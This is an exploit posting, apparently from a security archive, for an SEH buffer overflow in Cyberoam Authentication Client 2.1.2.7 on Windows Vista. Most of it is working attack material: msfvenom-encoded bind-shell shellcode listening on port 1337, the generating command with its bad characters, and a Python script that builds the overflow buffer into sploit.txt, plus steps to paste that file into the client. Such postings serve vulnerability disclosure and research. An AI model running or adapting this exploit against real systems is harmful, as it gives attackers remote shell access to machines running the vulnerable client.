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Cyberoam Authentication Client 2.1.2.7 Buffer Overflow

Cyberoam Authentication Client 2.1.2.7 Buffer Overflow
Posted Mar 2, 2020
Authored by Andrey Stoykov

Cyberoam Authentication Client version 2.1.2.7 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | eddba6d1362143102912cf298aa013f1

Cyberoam Authentication Client 2.1.2.7 Buffer Overflow

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# Exploit Title: Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH)
# Date: 2020-02-28
# Exploit Author: Andrey Stoykov
# Version: Cyberoam General Authentication Client 2.1.2.7
# Tested on: Windows Vista SP2 x86

Steps to Reproduce:

1) Run the POC
2) Copy the contents of "sploit.txt" into the "Cyberoam Server Address" and click "Check"
3) Bind TCP shell should spawn on port 1337

# Badchars to be avoided: "\x0a\x00\x0d\x01\x02\x03\x04"
# msfvenom -p windows/shell_bind_tcp -f c -b "\x0a\x00\x0d\x01\x02\x03\x04" lport=1337 -e x86/alpha_mixed

Exploit POC:

shellcode = ("\x89\xe6\xdd\xc5\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x49\x6c\x6a\x48\x4e\x62\x77\x70\x43\x30\x67\x70\x43\x50\x6f"
"\x79\x6d\x35\x66\x51\x6f\x30\x71\x74\x6e\x6b\x42\x70\x66\x50"
"\x6e\x6b\x30\x52\x34\x4c\x6e\x6b\x76\x32\x32\x34\x4e\x6b\x30"
"\x72\x64\x68\x46\x6f\x6d\x67\x43\x7a\x54\x66\x70\x31\x39\x6f"
"\x4e\x4c\x77\x4c\x71\x71\x33\x4c\x46\x62\x66\x4c\x37\x50\x4b"
"\x71\x38\x4f\x54\x4d\x46\x61\x49\x57\x49\x72\x79\x62\x72\x72"
"\x71\x47\x6c\x4b\x43\x62\x74\x50\x4e\x6b\x70\x4a\x55\x6c\x6c"
"\x4b\x50\x4c\x77\x61\x73\x48\x4a\x43\x43\x78\x35\x51\x6a\x71"
"\x43\x61\x6c\x4b\x30\x59\x77\x50\x35\x51\x4e\x33\x6e\x6b\x33"
"\x79\x67\x68\x69\x73\x64\x7a\x77\x39\x6c\x4b\x75\x64\x4e\x6b"
"\x75\x51\x4a\x76\x66\x51\x59\x6f\x4e\x4c\x5a\x61\x58\x4f\x66"
"\x6d\x47\x71\x4a\x67\x45\x68\x49\x70\x73\x45\x59\x66\x47\x73"
"\x71\x6d\x68\x78\x67\x4b\x61\x6d\x76\x44\x62\x55\x78\x64\x70"
"\x58\x4e\x6b\x72\x78\x34\x64\x53\x31\x4e\x33\x52\x46\x6c\x4b"
"\x66\x6c\x52\x6b\x4c\x4b\x76\x38\x67\x6c\x73\x31\x5a\x73\x4c"
"\x4b\x34\x44\x6e\x6b\x57\x71\x6a\x70\x4e\x69\x33\x74\x36\x44"
"\x56\x44\x33\x6b\x71\x4b\x70\x61\x31\x49\x50\x5a\x46\x31\x69"
"\x6f\x79\x70\x53\x6f\x63\x6f\x30\x5a\x6e\x6b\x64\x52\x5a\x4b"
"\x4c\x4d\x61\x4d\x35\x38\x55\x63\x75\x62\x37\x70\x77\x70\x53"
"\x58\x62\x57\x71\x63\x76\x52\x43\x6f\x71\x44\x55\x38\x30\x4c"
"\x72\x57\x31\x36\x64\x47\x39\x6f\x69\x45\x4e\x58\x5a\x30\x75"
"\x51\x33\x30\x47\x70\x46\x49\x4b\x74\x42\x74\x32\x70\x30\x68"
"\x36\x49\x6d\x50\x50\x6b\x57\x70\x4b\x4f\x69\x45\x31\x7a\x53"
"\x38\x70\x59\x72\x70\x4a\x42\x39\x6d\x73\x70\x70\x50\x43\x70"
"\x66\x30\x42\x48\x6b\x5a\x36\x6f\x49\x4f\x4b\x50\x49\x6f\x79"
"\x45\x4c\x57\x42\x48\x75\x52\x45\x50\x35\x55\x35\x69\x4e\x69"
"\x4a\x46\x51\x7a\x52\x30\x62\x76\x36\x37\x50\x68\x4b\x72\x59"
"\x4b\x55\x67\x55\x37\x79\x6f\x4a\x75\x70\x57\x71\x78\x68\x37"
"\x79\x79\x67\x48\x79\x6f\x6b\x4f\x4e\x35\x33\x67\x43\x58\x63"
"\x44\x6a\x4c\x75\x6b\x4b\x51\x39\x6f\x49\x45\x32\x77\x6d\x47"
"\x52\x48\x70\x75\x70\x6e\x30\x4d\x53\x51\x79\x6f\x6b\x65\x31"
"\x78\x63\x53\x50\x6d\x42\x44\x67\x70\x6f\x79\x49\x73\x73\x67"
"\x72\x77\x62\x77\x64\x71\x4a\x56\x32\x4a\x54\x52\x46\x39\x33"
"\x66\x4a\x42\x79\x6d\x32\x46\x7a\x67\x50\x44\x71\x34\x75\x6c"
"\x67\x71\x56\x61\x6e\x6d\x33\x74\x51\x34\x52\x30\x38\x46\x53"
"\x30\x67\x34\x43\x64\x30\x50\x46\x36\x32\x76\x42\x76\x77\x36"
"\x53\x66\x72\x6e\x42\x76\x50\x56\x43\x63\x36\x36\x71\x78\x53"
"\x49\x68\x4c\x77\x4f\x6c\x46\x79\x6f\x49\x45\x6d\x59\x4d\x30"
"\x50\x4e\x70\x56\x63\x76\x79\x6f\x46\x50\x71\x78\x66\x68\x6d"
"\x57\x75\x4d\x55\x30\x69\x6f\x79\x45\x4f\x4b\x58\x70\x58\x35"
"\x4f\x52\x71\x46\x52\x48\x6c\x66\x6d\x45\x4d\x6d\x6f\x6d\x6b"
"\x4f\x69\x45\x75\x6c\x74\x46\x63\x4c\x47\x7a\x6b\x30\x59\x6b"
"\x39\x70\x31\x65\x77\x75\x6f\x4b\x72\x67\x62\x33\x50\x72\x30"
"\x6f\x42\x4a\x77\x70\x72\x73\x79\x6f\x59\x45\x41\x41")

buffer = "A"*216 + "\xeb\x10\x90\x90"+ "\x97\x44\x9c\x0f" + "\x90"*500 + shellcode
buffer += "B"*(16688-216-8-500)
f = open('sploit.txt', 'w')
f.write(buffer)
f.close()
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